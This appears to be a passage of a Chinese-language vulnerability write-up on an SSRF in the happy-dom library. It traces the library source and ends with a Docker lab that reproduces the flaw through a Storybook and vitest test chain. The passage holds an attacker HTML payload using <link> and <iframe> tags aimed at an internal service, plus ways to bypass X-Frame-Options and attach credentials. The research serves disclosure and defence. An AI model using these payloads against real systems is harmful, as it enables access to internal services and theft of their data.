前几道在把请求整理成能直接发出去的样子:请求对象必过,referrer 按 strict-origin-when-cross-origin 整理,自定义请求头默认 null,拦截器默认 null,协议校验只放行 data:/http:/https:(file: 之类直接拒绝)。这几道里,只有协议校验会拦人。
中间几道是浏览器的特例处理:中止信号默认未触发;data: 走 DataURIParser,不产生网络;Mixed Content 只在 https 页面访问 http 目标时抛错;响应缓存按 page 级判断,命中就不出网;预加载在样式表路径被显式关掉;虚拟服务器默认 null,不映射到本地文件。
最后两道才决定走向:CORS 因为逐请求传进来的 true 被整段跳过,然后无条件走到 sendRequest。
一路读下来会发现一个结构性的事实:这里实现的都是"浏览器语义",唯独没有实现"目标可信"。referrer、CORS、缓存、预加载、Mixed Content 一应俱全,但没有一条在问"这个 host 是不是内网、这个端口该不该连、这个 scheme 允不允许发"。这不是遗漏,而是设计目标不同——happy-dom 假设自己身处浏览器,目标由页面作者选择,它没有"服务端代理"这个威胁模型。
有三点需要单独说明。
CORS 拦的不是"发请求",而是"读响应"。 即便把同源策略恢复成开启,请求也已经到达目标了,预检的 OPTIONS 本身同样是一次出网。所以关掉 CORS 只是让响应可读,它不是 SSRF 成立的必要条件。
interceptor** 是唯一可加装的策略点,而它默认是 null。** 它能拿到请求 URL、能直接返回一个 Response 短路、也能改写响应,是应用侧最现实的缓解手段。但"不配置"就等于"不存在"。
缓存和预加载会让"没命中"不等于"没尝试"。 样式表路径显式关掉了预加载,但响应缓存仍可能命中;iframe 路径两者都可能参与。对检测方来说,"目标没收到请求"有可能只是缓存命中,不能据此判断"没有攻击意图"。
还有一个与浏览器语义的偏离值得一提:浏览器的 CORS 预检由浏览器发起、结果由浏览器执行,而 happy-dom 的预检会另起一次 OPTIONS。两条路径都跳过了同源检查,所以目标侧只会看到 GET,看不到预检——既少了预检这层语义,也少了一次暴露。
4.5 唯一的出口:Fetch.sendRequest
再往下就是整条链上唯一真正出网的函数。
private sendRequest(): Promise<Response> {
return new Promise((resolve, reject) => {
const taskID = this.#browserFrame[PropertySymbol.asyncTaskManager].startTask(() =>
this.onAsyncTaskManagerAbort()
);
...
const send = (this.request[PropertySymbol.url].protocol === 'https:' ? HTTPS : HTTP).request;
this.nodeRequest = send(this.request[PropertySymbol.url].href, {
method: this.request.method,
headers: FetchRequestHeaderUtility.getRequestHeaders({...}),
agent: false,
rejectUnauthorized: !this.#browserFrame.page.context.browser.settings.fetch.disableStrictSSL,
key: ...FetchHTTPSCertificate.key,
cert: ...FetchHTTPSCertificate.cert
});
...
if (this.request.body === null) {
this.nodeRequest.end();
} else {
Stream.pipeline(this.request.body, this.nodeRequest, ...);
}
});
}
它拿到的已经是一个规范化完毕的 URL 对象。"该不该发、发给谁、带什么"全部在上游决定完了,这里只负责发。它没有上下文去判断目标是否内网,也没有策略层可以调用。
这个函数里的几件事,安全上的分量并不一样:
它在所属 frame 的
AsyncTaskManager上登记一个任务,abort 时回调,让waitUntilComplete能等到、close()能取消——这一层是生命周期管理,不是安全边界;它生成 UA、Accept、Referer、Cookie 等请求头,其中 UA 带着
HappyDOM/20.14.6,所以流量是可归因的(这一点在检测侧很有用);它按 scheme 在
https和http模块之间选一个;它把
agent设为false,不复用连接池,每个请求都新建 TCP,并发 iframe 时成本会更高;它默认严格校验 TLS(
rejectUnauthorized),只有disableStrictSSL才能关掉——关掉会引入中间人风险,但与 SSRF 无关;HTTPS 请求用的是内置测试证书,那是测试便利,不是信任判断;
请求没有 body 时直接
end(),方法固定为 GET。
真正重要的是它没有什么:没有 DNS 解析后的地址校验(不排除 127/8、10/8、172.16/12、192.168/16、169.254/16),没有端口白名单,没有 host 白名单,没有响应大小上限,也没有超时。DNS 解析、路由、建连全部交给操作系统,所以回环地址、内网任意主机、云元数据端点都在可达范围内。
超时这一条尤其值得展开,因为它暴露了一个非对称:超时不是这个函数的属性,而是调用方的责任。
样式表那条路径从 ResourceFetch.fetch 一路走到 sendRequest,中间没有任何 AbortController 或 timeout。目标永不响应时,任务管理器上的任务永远不会结束,await page.waitUntilComplete() 就会一直等下去——对攻击者,这是一个可以无限期占用资源的 DoS 面。
iframe 那条路径不同:navigate 自己建了 30 秒的 AbortController,把它作为 signal 传给 Fetch,超时 abort 会让这个 Promise 拒绝,navigate 捕获后收尾。所以同样是这个出口,一条路径没有上限,另一条有 30 秒上限。
也正因为如此,第三章复现实验里要用 Promise.race([waitUntilComplete(), 超时]) 兜底,也说明"在出口统一加超时"并没有想象中简单——样式表路径的调用方根本没有传超时机制。
至于重定向,它发生在 onResponse / handleRedirectResponse 里:默认跟随、最多 20 跳,每一跳都是一次真实请求,而且会把 disableSameOriginPolicy 一并沿用到下一跳。这段逻辑是第六章"方向二"的主战场,这里先记下结论。
4.6 <link>:三行分派,六道闸门
4.6.1 分派:HTMLLinkElement.[connectedToDocument]
连接回调落到 HTMLLinkElement 身上,就是三行代码:
public override [PropertySymbol.connectedToDocument](): void {
super[PropertySymbol.connectedToDocument]();
const rel = this.getAttribute('rel');
const href = this.getAttribute('href');
if (rel && href) {
switch (rel) {
case 'stylesheet':
this.#loadStyleSheet(href);
break;
case 'modulepreload':
this.#preloadModule(href);
break;
case 'preload':
this.#preloadResource(href);
break;
}
}
this[PropertySymbol.ownerDocument][PropertySymbol.clearComputedStyleCache]();
}
它只读 rel 和 href 两个原始字符串,不做 URL 解析,不做 scheme/host 校验,也不判断目标是否可信、不检查 media、不认 <base>。所有规范化都推给下一层。
它是解析管线和网络栈之间唯一的 <link> 入口。没有它,<link> 只是一个属性容器。触发条件是"元素进场 + rel=stylesheet + href 非空",三项全部由攻击者的 HTML 控制——rel 在这里不是安全检查,它只是一个分派键。
调用方式是 fire-and-forget:#loadStyleSheet 是 async 函数,但没有被 await。解析不会被网络阻塞,请求却一定会启动。这制造了一个错觉——"赋值很快就返回了,应该没发请求"。
两个边界对攻击者是约束,对防御者却不是防线:
switch是大小写敏感的单 token 比较,rel="STYLESHEET"和rel="preload stylesheet"都不匹配。这与 HTML 规范(rel 是大小写不敏感的 token 集合)不一致,但攻击者写个小写单词就能命中,所以它不构成缓解;href为空或缺失时进不了switch,只挡住了"没写 href"这一种形态。
同一个 switch 也出现在属性写入回调里。当元素已经连接时,setAttribute('href', ...) 就是有效扳机:先 append 一个没 href 的 link,稍后再设置 href,请求就出现在设置那一刻。它与连接回调的差别只在"谁先发生"——解析期属性写入早于连接,所以空跑;动态期元素已连接,所以直接生效。
4.6.2 放行:HTMLLinkElement.#loadStyleSheet
真正决定"发不发、发给谁、带什么凭据"的,是这个私有方法。
async #loadStyleSheet(url: string | null): Promise<void> {
const window = this[PropertySymbol.window];
const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
if (!browserFrame || url === null) { return; }
const browserSettings = browserFrame.page.context.browser.settings;
if (this[PropertySymbol.disableEvaluation] || !this[PropertySymbol.isConnected]) {
return;
}
let absoluteURL: string;
try { absoluteURL = new URL(url, window.location.href).href; }
catch (error) { return; }
if (this.#loadedStyleSheetURL === absoluteURL) { return; }
if (browserSettings && browserSettings.disableCSSFileLoading) {
...
return;
}
const resourceFetch = new ResourceFetch(window);
const readyStateManager = window[PropertySymbol.readyStateManager];
this.#loadedStyleSheetURL = absoluteURL;
const taskID = readyStateManager.startTask();
try {
response = await resourceFetch.fetch(absoluteURL, 'style', {
credentials: this.crossOrigin === 'use-credentials' ? 'include' : 'same-origin'
});
} catch (e) { error = <Error>e; }
readyStateManager.endTask(taskID);
...
}
按顺序数,请求出门前要过六道:
取
browserFrame(428)。查不到说明窗口已销毁或未登记,静默返回;!browserFrame || url === null(430)。防御性判断,静默返回;disableEvaluation || !isConnected(436)。解析期属性写入在这里早退,入树之后重新进来;new URL(url, window.location.href)(442)。规范化地址,基址是窗口地址,<base>被忽略;解析抛错也返回;和
#loadedStyleSheetURL比较(447)。同元素同 URL 只加载一次;disableCSSFileLoading(451)。唯一的配置闸门,不满足时记console.error并派发error事件。
这六道的顺序决定了它能拦什么、拦不住什么。
URL 解析在配置闸门之前。即使把加载关掉,absoluteURL 也会被算出来,错误消息里会带上它——"关门"发生在"看清目标"之后。
去重表的写入在闸门之后、fetch 之前。一旦通过闸门,这个 URL 就被预占了;如果 fetch 失败,该 URL 仍然算已加载,重连、重挂都不会重试。对攻击者,这是"每个元素每个 URL 只有一发";对防御者,这意味着"第二次渲染没有新请求"不能当成"没有意图"。
闸门之后没有任何 host/port/scheme 白名单。唯一的目标侧限制来自下游:validateSchema 只允许 data:/http:/https:,以及 Mixed Content 会在 https 页面访问 http 目标时拦一下。
disableCSSFileLoading 需要单独强调:它是一个行为开关,不是安全策略。它的语义是"要不要加载 CSS",不是"允许加载哪些目标"。置为 true 只是提前返回,不做目标校验,也不改变 DOM 解析。而且当 handleDisabledFileLoadingAsSuccess 为 true 时,被拦截反而会派发 load 事件——如果应用靠 load/error 做检测,这会把"被拦截"伪装成"成功"。
crossorigin 则是攻击者可以影响的凭据开关。credentials 由 this.crossOrigin === 'use-credentials' 决定,而 crossOrigin getter 直接读 crossorigin 属性:
默认(不写或空)→
same-origin,跨源目标不带 cookie;写
crossorigin="use-credentials"→include,请求头工具会按目标 URL 去 cookie 容器里查并附带。默认场景下目标域没有 cookie,所以实测不带;但如果应用在同一个BrowserContext里为目标域设置过 cookie(比如先登录过内部系统),这个属性就能把"盲 GET"升级成"带凭据的盲 GET"。
4.6.3 盲:ResourceFetch.fetch
const fetch = new Fetch({
browserFrame,
window: this.window,
url,
disableSameOriginPolicy: destination === 'script' || destination === 'style',
disablePreload: true,
init: { credentials: options?.credentials, referrerPolicy: options?.referrerPolicy }
});
const response = await fetch.send();
if (!response.ok) { throw new DOMException(...); }
return { content: await response.text(), virtualServerFile: ... };
关掉同源策略的决定来自 destination,而不是攻击者。destination 是内部枚举:样式表加载写死 'style',脚本加载写死 'script',模块加载是 'module'。对前两者表达式恒为 true,对模块为 false。所以"跨源可读"是设计选择,不是配置泄漏。
真实浏览器里,CSS 和脚本本来就可以跨源加载,但不能读响应。happy-dom 把"可加载"和"可读"一起放开了,因为 CSS 解析需要拿到内容。这是语义模仿与安全边界之间的错位。
ok 检查是事后检查:send() 先执行,!response.ok 才抛错。所以 404、500 同样已经出网,抛错只影响"要不要把它当 CSS 解析",不影响"请求是否到达"。
响应回流之后,这个方法只做四件事:new CSSStyleSheet() → replaceSync(content) → 挂到 link.sheet 上 → 派发 load。响应体只进 CSS 解析器,不进 DOM,也不回显给应用。所以这条路径的观测面很窄:攻击者能确定拿到的只有目标侧的日志和副作用(任意 GET,路径和查询串完全可控)。load/error 事件、console.error 里的状态码与 URL、link.sheet.cssRules.length 反映出的规则数,以及整个过程的耗时,都要应用自己回显或暴露才有意义——其中耗时还能区分内网的"拒绝"和"超时"。
这就是为什么这条路径是盲 SSRF——"盲"不是实现缺陷,而是响应处置方式决定的。要读到内容,得看 <iframe> 那条线。
4.7 <iframe>:无条件进场,响应写回
4.7.1 扳机:HTMLIFrameElement.[connectedToDocument]
和 <link> 相比,iframe 的连接回调短得不像话:
public override [PropertySymbol.connectedToDocument](): void {
super[PropertySymbol.connectedToDocument]();
this.#loadPage();
}
它什么也不读:不判断有没有 src、不判断是不是 srcdoc、不解析 URL、不设门槛、也不等导航完成。所有决策都推给了 #loadPage。
正因为它是无条件调用,任何 <iframe> 进场都会走一遍加载流程,包括没有 src 的空 iframe。空 iframe 的后果不是"什么都不做":它会走 about:blank 分支,创建一个真实的子 BrowserFrame 和 BrowserWindow,等一帧后派发 load。攻击者可以用大量空 iframe 制造 frame、window 和动画帧的开销,即使一个网络请求都没有——这是一个独立于 SSRF 的资源耗尽面。
顺带说,super[...]() 必须在前。它保证 isConnected 已经为 true,否则下一层的连接检查会把导航挡回去,顺序反了导航永远不会发生。
除连接之外,还有几个等价入口:写入 srcdoc、写入非空的 src、移除 src/srcdoc,以及元素从文档中移除。前三个在元素已连接时都会重新走一遍加载流程,最后一个会卸载页面、销毁子 frame。
4.7.2 分流:HTMLIFrameElement.#loadPage
#loadPage(): void {
if (!this[PropertySymbol.isConnected]) {
this.#unloadPage();
return;
}
const srcdoc = this.getAttribute('srcdoc');
const window = this[PropertySymbol.window];
const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
if (!browserFrame) { return; }
if (srcdoc !== null) {
if (this.#loadedSrcdoc === srcdoc) { return; }
this.#unloadPage();
this.#iframe = BrowserFrameFactory.createChildFrame(browserFrame);
this.#iframe.url = 'about:srcdoc';
...
this.#iframe.window.document.open();
this.#iframe.window.document.write(srcdoc);
...
return;
}
if (this.#loadedSrcdoc !== null) { this.#unloadPage(); }
const originURL = browserFrame.window.location;
const targetURL = BrowserFrameURL.getRelativeURL(browserFrame, this.src);
if (this.#iframe && this.#iframe.window.location.href === targetURL.href) { return; }
if (browserFrame.page.context.browser.settings.disableIframePageLoading) {
... console.error + error 事件 ...
return;
}
const isSameOrigin = originURL.origin === targetURL.origin || targetURL.origin === 'null';
const parentWindow = isSameOrigin ? window : new CrossOriginBrowserWindow(window);
this.#iframe = this.#iframe ?? BrowserFrameFactory.createChildFrame(browserFrame);
...
this.#iframe.goto(targetURL.href, { referrer: originURL.origin, referrerPolicy: this.referrerPolicy })
.then(() => this.dispatchEvent(new Event('load')))
.catch((error) => { ...; this.dispatchEvent(new Event('error')); });
}
这里的顺序值得逐条走一遍:
先看
isConnected。没连接就卸载页面再返回——所以解析期属性写入是空跑,入树后会重新进来;再看能不能查到 frame。查不到说明窗口已销毁或未登记,静默返回;
然后看
srcdoc。它不为null就走本地渲染分支,**优先于 **src,而且在配置闸门之前;如果是从上一次的 srcdoc 切回
src,先把旧页面卸载;解析目标地址。相对 URL 依赖父 frame 的地址,
<base>被忽略,解析失败兜底到about:blank;如果现有子 frame 的地址已经等于目标地址,直接返回——每元素去重;
然后才是
disableIframePageLoading。这是唯一的配置闸门,不满足时记console.error并派发error事件;接着判同源。跨源时给
contentWindow包一层代理,只影响可见性;建或复用子 frame,子 frame 由此进入
childFrames;最后调
goto,失败则派发error。导航细节在 4.7.4。
三条顺序性结论:
srcdoc 在闸门之前。 即使 disableIframePageLoading: true,srcdoc 仍然会渲染。这是"拦网络不拦本地内容"的设计,本身不算漏洞;但 srcdoc 里的 <iframe src> 和 <link> 会各自再走一遍自己的闸门。
URL 解析和去重都在闸门之前。 即使加载被禁用,targetURL 也会被算出来(错误消息里带它),去重表也可能因为之前一次成功导航而"粘住"。
闸门在建子 frame 之前。 被拦下的 src 不会创建新的子 frame;如果之前有 #iframe(比如从 srcdoc 切过来),前面的卸载已经把它销毁了。
去重是"预占式"的,这一点比看上去重要:
同一元素、同一目标 URL,第二次直接返回;
改成新 URL,复用已有子 frame 进入导航;
导航失败之后,子 frame 的
window.location在发请求前就被设成了目标 URL,失败后窗口仍在,于是这个比较成立,后续重试会被去重挡住。换句话说,"失败一次 = 这个元素对这个 URL 不再重试"。对检测方,"重放页面没有新请求"不等于"没有攻击"。
URL 解析是两段式的,先以元素所属 document 的地址为基址,再由 BrowserFrameURL.getRelativeURL 处理:空值给 about:blank,about:/javascript: 直接构造,其余以 frame 窗口地址为基址,失败兜底 about:blank。由此产生几个与浏览器的差异:相对 URL 落在 about:blank 基址上会静默退化成不导航(很容易被误判成"已拦截"),<base href> 被忽略,src="" 会解析成父文档地址,data: 会走完整导航管线但不产生网络。
disableIframePageLoading 的语义边界也要说清楚:它只决定"是否导航",不做目标校验。拦截时 console.error 的文本是 Failed to load iframe page "…". Iframe page loading is disabled.;error 事件是同步派发的,而正常的 load 在后续微任务或帧回调里。解析路径下,应用在赋值之后才挂监听,收不到这个同步事件——只靠元素事件做检测,会漏掉"被闸门拦下"的场景,但 console.error 仍会留痕。
另外,sandbox 不改变加载行为。写 sandbox 只触发一次 flag 合法性校验,它不阻止导航、不限制 src、也不改变同源判定。把 sandbox 当成加载门槛是错的。
4.7.3 结构:BrowserFrameFactory.createChildFrame
public static createChildFrame(parentFrame: IBrowserFrame): IBrowserFrame {
const frame = new (<new (page: IBrowserPage) => IBrowserFrame>parentFrame.constructor)(
parentFrame.page
);
(<IBrowserFrame>frame.parentFrame) = parentFrame;
parentFrame.childFrames.push(frame);
return frame;
}
它只做对象创建:用父 frame 的构造函数造一个真实的 BrowserFrame,设置 parentFrame,推进 parentFrame.childFrames。这个子 frame 自带 BrowserWindow、Document、AsyncTaskManager,与主 frame 同构。
它不碰网络,却是危害等级的放大器。page.mainFrame.childFrames 里存的是原始的 BrowserFrame 对象,不是 contentWindow 那层受限代理。跨源时,从 contentWindow 往外走处处碰壁:它的 document 是 undefined(代理上根本没有这个属性),contentDocument 是 null,读 location.href 会抛 SecurityError。但 frame 树绕开了这层代理——childFrames[i].window 是真实的 BrowserWindow,读它的 document.body.innerHTML 能拿到整个 body,读 childFrames[i].content 能拿到整个 outerHTML,而 page.frames 会把每一层递归列出来。
跨源保护只套在 iframe.contentWindow 上,frame 树不经过这层代理。原因很简单:这层代理的威胁模型是"页面脚本",而不是"宿主应用";但在服务端解析不可信 HTML 的场景里,宿主应用恰恰是被诱导去读取的一方。第三章里受害应用读 page.mainFrame.childFrames[0].window.document 而不是 iframe.contentDocument,就是这个原因。
生命周期上,移除 iframe 会触发卸载,进而销毁子 frame:abort 它的任务管理器、关闭窗口、从 childFrames 里删掉。请求如果已经发出,只能 abort 响应,撤不回已经到达目标的请求;导航到新 URL 时,旧的子 frame 子树会被销毁,避免残留。
4.7.4 导航:BrowserFrameNavigator.navigate
这是全链最长的一个函数,可以当成一条流水线,一段一段看。
预检。 跨源策略默认 anyOrigin,直接放行;改成 sameOrigin 时跨源子 frame 会停在 about:blank,请求数为零。disableChildFrameNavigation 为 true 时,只把地址设为目标、不发请求——它防的是"导航",不是"目标"。同文档的 hash 导航不发请求,javascript: 默认不执行。这两个都不是 SSRF 的绕过面,但很容易被误判为"已经导航"。
换窗口。 代码先新建 BrowserWindow,构造参数就是目标 URL,之后才构造 Fetch。这带来三个连锁后果:
应用在赋值之后、请求完成之前,就能从
frames[0].url读到内网地址;Fetch的window是这个新子窗口,它的location.protocol已经是目标协议,所以 Mixed Content 检查恒为假。https页面里的httpiframe 仍会出网,这与<link>那条线正好相反(后者用的是主窗口);请求头工具用目标窗口自身的地址判断跨源,于是判断恒为 false。
超时。 建子 frame 时没有传 timeout,用的是默认 30 秒。定时器登记在子 frame 的任务管理器上,而 waitUntilComplete 会递归等待子 frame,所以目标挂起时,应用的等待会被拖住整整 30 秒。多个 iframe 并行就是多个 30 秒;响应体全量缓冲、没有大小上限;递归没有深度限制。三者叠加,构成"少量 HTML 换大量资源"的 DoS 面。
构造并发送请求。 这里的 disableSameOriginPolicy: true 是硬编码,不读配置。所以 iframe 路径的同源策略失效,与全局那个默认就是 false 的配置项无关——改全局值修不了它。browserFrame 传的是子 frame,任务因此登记在子 frame 上,这也是 waitUntilComplete 能等到它的原因。
事后检查 XFO。 顺序是先 await fetch.send(),再读 X-Frame-Options。也就是说,内容能不能写回是在请求到达之后才判断的。这个检查只对子 frame 生效,主 frame 导航根本不查;deny 一律拒绝,sameorigin 只在跨源时拒绝,两种结果都是"请求已经命中一次,body 留空";判断同源时用的是原始目标 URL,所以同源目标 302 到跨源的 SAMEORIGIN 时,检查会放行,内容照样写回;目标 origin 为 'null' 时直接视为同源,data:/about: 不受限制;至于 CSP 的 frame-ancestors,源码里根本没有实现。
所以 XFO 只能决定"内容能不能写回",不能阻止 SSRF;内网服务通常不返回它;即使返回,检查用的是原始地址,一次重定向就能绕过。把它当防线是这类分析中最常见的误读。
写回。 响应体最后在动画帧加 setImmediate 里执行 frame.content = responseText。这等于回到了 4.1 那个 setter:document.open() 清空、document.write() 重新解析。内网响应体作为 HTML 被二次解析,里面有 <iframe> 或 <link> 就再连接、再加载,形成递归。纯文本和 JSON 也不例外——解析器会为文档根补齐 documentElement/head/body,text/plain 的响应同样能逐字读出来。它不要求目标是 HTML 页面,内部 JSON 接口一样可读。
这里还有两个容易误判的点。非 2xx 只记 console.error、不抛错,404 的响应体照样写回;beforeContentCallback 在写回前调用,但返回值是 void,不能取消写入,它只能观察,不能阻断。
最后一件事是 iframe 请求的形状。实测请求头里没有 Origin,Referer 是目标自己的 origin。原因链是这样的:上层把父 frame 的 origin 作为 referrer 传下去,但 Fetch 的窗口已经是新子窗口(地址就是目标),referrer 整理时发现两者 origin 不同,于是返回 'client',再被解析成目标窗口地址,按 origin 策略发出。所以受害者 origin 不会通过 Referer 泄露给内网目标。没有 Origin 则是因为跨源判断用的是目标窗口自身。
cookie 也是同一套逻辑:按目标域去查容器。默认目标域没有 cookie,所以实测不带;但"不带"是环境属性,不是代码保证——只要同一个 BrowserContext 里为目标域设过 cookie,请求就会带上它。
4.7.5 为什么这条链"读得到":waitUntilComplete
iframe 路径和 <link> 路径共用同一个出口,差别全在响应去哪:一个进 CSS 解析器,一个进 frame.content。而后者之所以能稳定读出来,不是因为碰巧赶上了时序,而是因为任务管理器把它变成了确定性行为。
public async waitUntilComplete(): Promise<void> {
await Promise.all([
this[PropertySymbol.asyncTaskManager].waitUntilComplete(),
...this.childFrames.map((frame) => frame.waitUntilComplete())
]);
}
导航在子 frame 的任务管理器上登记了多类任务:旧窗口销毁、readyState、30 秒定时器、网络请求、响应体读取、写回解析。waitUntilComplete 会递归等到它们全部结束,所以应用"先等完成,再读 childFrames[0].window.document.body.innerHTML"的顺序,恰好落在"响应落地、写入、解析完成"之后。外泄不依赖竞态,这也是它比盲 SSRF 更难用时序手段缓解的原因。
一句话收束这一章:<link> 的终点是"请求发出",由那个唯一的网络出口决定;<iframe> 的终点是"内容进入应用可读的 DOM",由子 frame 和应用可见的 frame 树决定。前者只需要看一眼出口,后者要把写回路径一并看完。
4.8 回头再看这几个函数
把这些函数串起来,能提炼出四句可以直接用来判断同类问题的话。
解析不是纯函数。 在这套实现里,HTMLParser 的副作用不是"构建树",而是"连接即加载"。只要不可信 HTML 能进入解析器并使元素连接,就等价于一次外部资源解析——不管入口是 page.content、innerHTML 还是 DOMParser。
连接是唯一的扳机。 属性写入确实会调用加载函数,但被未连接状态挡住;真正触发的是"游离 → 连接"那一次边沿。这解释了为什么"解析即触发"和"写属性不触发"可以同时成立,也解释了为什么重复挂载不会重复请求,而移除再挂载会。
默认值就是策略。 disableCSSFileLoading 和 disableIframePageLoading 都是 opt-out,crossOriginPolicy 默认 anyOrigin,interceptor 默认 null。库里有的是"行为开关",没有"目标可信"这一层。
响应处置决定危害等级。 同一个网络出口,响应进 CSS 解析器是盲 SSRF,进 frame.content 就是可读加递归。只讲门槛、不讲响应去哪,会把一个可读 SSRF 讲成盲 SSRF;只讲出口、不讲回读面,又会把"能读"讲成"碰运气"。
这四句话也解释了第三章那个复现为什么能成立,以及第五章要换一个宿主时,该盯着哪些点看。
五、换个宿主:在引用 happy-dom 的其他项目里触发
第三章的复现是"我自己写了一个受害应用"。这容易被质疑:真实项目里未必有人这样写。所以这一章换一个宿主——不构造 Browser、不调用 page.content,让 DOM 完全由第三方框架在运行时提供,只把攻击者可控的 HTML 送进渲染管线。
Storybook 的测试链是一个合适的样本:它把 story 渲染进 canvasElement.innerHTML,而 vitest 的 environment: 'happy-dom' 让这个 innerHTML 落在一个由 happy-dom 提供的 document 上。于是第 4.1 节说的"第一类入口"——写进已经连接的位置——在完全真实的工程链路里被触发了。
5.1 漏洞在这条链路里的位置
根因在第二章已经拆过,这里只需要记住结论:21.0.0 之前,两个 disable 开关默认为 false,把 HTML 交给 happy-dom 就等于授权它去取里面的外部资源。这条链里没有任何一行代码是"开启了 SSRF"的——它是默认行为的直接后果。
放到 Storybook 场景里,完整链路是:

图 5-1 漏洞链路总览(图片:00-diagram-storybook-ssrf-chain.jpg)
触发条件只有两条:
运行链路使用 Storybook 官方 vitest 插件 +
environment: 'happy-dom',且未设置 disable 开关;story 渲染攻击者可控的 HTML(例如"用户提交富文本"组件)。
两条同时满足时,vitest run 一执行,SSRF 就发生在 innerHTML 赋值的解析瞬间。注意这里没有 happy-dom 的显式 API 调用,也没有任何"解析不可信 HTML"的代码注释——这正是这类问题在真实项目里的样子:库被当作测试基础设施引入,加载行为跟着默认值一起被引入。
5.2 复现环境搭建
5.2.1 拓扑:一个受害进程 + 一个"够不着"的靶标
Docker Compose 起两个服务,同处 demo 网络:
服务 | 角色 | 网络暴露 |
|---|---|---|
| 受害者:Storybook 10 项目,执行官方测试链 | 不发布端口,一次性容器( |
| 靶标:模拟仅内网可达的敏感服务(云元数据替身) | 不发布任何端口,仅服务名 |
靶标不可达的理由和第三章完全一致:任何一次 [SSRF-HIT] 都只可能来自容器内进程发起的请求,排除人工 curl 或浏览器误触。区别在于,这一次发起请求的容器里跑的不是一个手写的 HTTP 服务,而是一整套 vitest + Storybook 测试链。
# docker-compose.yml(节选)
services:
app:
build: { context: ./app }
environment:
HAPPY_DOM_VERSION: ${HAPPY_DOM_VERSION:-17.6.3}
HAPPY_DOM_SETTINGS: ${HAPPY_DOM_SETTINGS:-}
networks: [demo]
depends_on: [intranet]
intranet:
image: node:22-alpine
command: node /app/server.js
volumes: [./intranet/server.js:/app/server.js:ro]
networks: [demo] # 没有 ports:,宿主机无法直连
networks:
demo: {}
5.2.2 受害项目:Storybook 测试链
app/package.json 固定了全部版本:
{
"scripts": { "test": "vitest run" },
"devDependencies": {
"@storybook/addon-vitest": "10.6.5",
"@storybook/html-vite": "10.6.5",
"happy-dom": "17.6.3",
"storybook": "10.6.5",
"vitest": "4.1.12"
}
}
happy-dom 是 vitest 的环境依赖,所以放在
devDependencies;在 Storybook 仓库自身它则是运行时依赖。无论依赖类型如何,vitest 的 happy-dom 环境取的就是依赖树里解析出来的那一份,装的是哪个版本直接决定是否受影响。
app/vitest.config.js 是整条链的开关所在:
import { defineProject } from 'vitest/config';
import { storybookTest } from '@storybook/addon-vitest/vitest-plugin';
export default defineProject({
plugins: [storybookTest({ configDir: './.storybook' })],
test: {
name: 'storybook-happy-dom',
environment: 'happy-dom', // ← 漏洞触发点:DOM 由 Node 侧 happy-dom 提供
environmentOptions: {
happyDOM: {
url: 'http://intranet:3000/story', // 见 5.4 的说明
settings: JSON.parse(process.env.HAPPY_DOM_SETTINGS || '{}'),
},
},
browser: { enabled: false }, // 非浏览器模式,DOM 完全来自 happy-dom
testTimeout: 15000,
},
});
app/.storybook/main.js 用 @storybook/html-vite 框架并注册 @storybook/addon-vitest,保证 storybookTest 与真实项目同构。
5.2.3 PoC story:攻击者提交的 HTML
app/src/user-content.stories.js 模拟"渲染用户提交富文本"的组件:没有组件本体,只用 renderer 的最小等价形态把用户 HTML 送进 DOM。
const ATTACKER_HTML = [
'<p>Great article, thanks!</p>',
// 向量 1:<link rel=stylesheet>
'<link rel="stylesheet" href="http://intranet:3000/attacker-probe.css">',
// 向量 2:<iframe src>
'<iframe src="http://intranet:3000/secret/metadata" title="user-video" width="1" height="1"></iframe>',
].join('\n');
const meta = {
title: 'UserContent/Comment',
render: (args) => args.html, // renderToCanvas 会执行 canvasElement.innerHTML = args.html
args: { html: ATTACKER_HTML },
};
play 函数负责取证:等待异步资源加载完成,读取 iframe.contentDocument,把取回的内容原样打印。两个向量分工不同——<link> 命中证明"解析即请求",<iframe> 命中证明"响应体被取回进程内并可读"。这正是 4.6.3 与 4.7.5 两条结论的现场验证。
5.2.4 内网靶标:不可直接访问的敏感服务
intranet/server.js 是一个二十来行的 HTTP 服务,固定 token 便于严格断言:
const SECRET_TOKEN = 'INTERNAL-ONLY-TOKEN-cve-2026-118660';
// /attacker-probe.css → 记录(vector: <link rel=stylesheet>)
// /secret/metadata → 记录(vector: <iframe src>),返回
// <html><body>SECRET: INTERNAL-ONLY-TOKEN-... (cloud-metadata-like internal data)</body></html>
每次命中打印一行 [SSRF-HIT] <时间> GET <路径> from <源IP> | internal-only service reached!,这行日志就是"服务端真的发出了请求"的物证。
5.3 复现步骤(实测记录)
5.3.1 环境检查
uname -a; head -2 /etc/os-release; docker --version; docker compose version

图 5-2 5.3.1 远程环境检查:Ubuntu 26.04.1 LTS(aarch64)、Docker 29.9.3、Compose v5.7.0(图片:05-storybook-01-远程环境检查-01.png)
确认 aarch64、Docker 可用、registry.npmjs.org 可达(构建镜像需要 npm ci)。
5.3.2 构建受害镜像
docker compose build app

图 5-3 5.3.2 docker compose build app:Image cve-2026-118660-sb/app:latest Built(图片:05-storybook-03-构建受害应用镜像-01.png)
node:22-alpine + npm ci(package-lock.json 锁定 happy-dom=17.6.3),输出 Image cve-2026-118660-sb/app:latest Built。镜像只装依赖,不编译任何本地组件——受害者就是一个普通的 Storybook 项目。
5.3.3 启动内网服务并确认外部不可达
docker compose up -d intranet
docker compose ps # 注意 PORTS 一列为空
docker compose exec -T intranet wget -qO- http://127.0.0.1:3000/healthz # → ok

图 5-4 5.3.3 启动内网服务:intranet_ Running 且 PORTS 列为空,healthz 返回 ok(图片:05-storybook-04-启动内网服务-01.png)_
PORTS 为空是关键:宿主机与外部网络都没有通往 intranet:3000 的路由。
5.3.4 运行 Storybook 测试链(核心步骤)
docker compose run --rm app
这一步等价于项目里 storybook test 的底层链路:storybookTest 插件把 story 转成 vitest 测试,vitest 用 environment: 'happy-dom' 在 Node 进程内提供 DOM。完整输出:
[+] run 2/2
✔ Container cve-2026-118660-sb-intranet-1 Running
✔ Container cve-2026-118660-sb-app-run-f3c8e31c26c Created
[run] happy-dom version in node_modules: 17.6.3
[run] storybook version: 10.6.5
[run] renderer: 10.6.5 (@storybook/html-vite)
[run] running Storybook test pipeline: vitest run (storybookTest plugin, environment: happy-dom)
---------------------------------------------------------------------------
RUN v4.1.12 /app
stdout | src/user-content.stories.js > Submitted comment (attacker-controlled HTML)
[STORYBOOK-POC] stylesheet-loaded-href=http://intranet:3000/attacker-probe.css
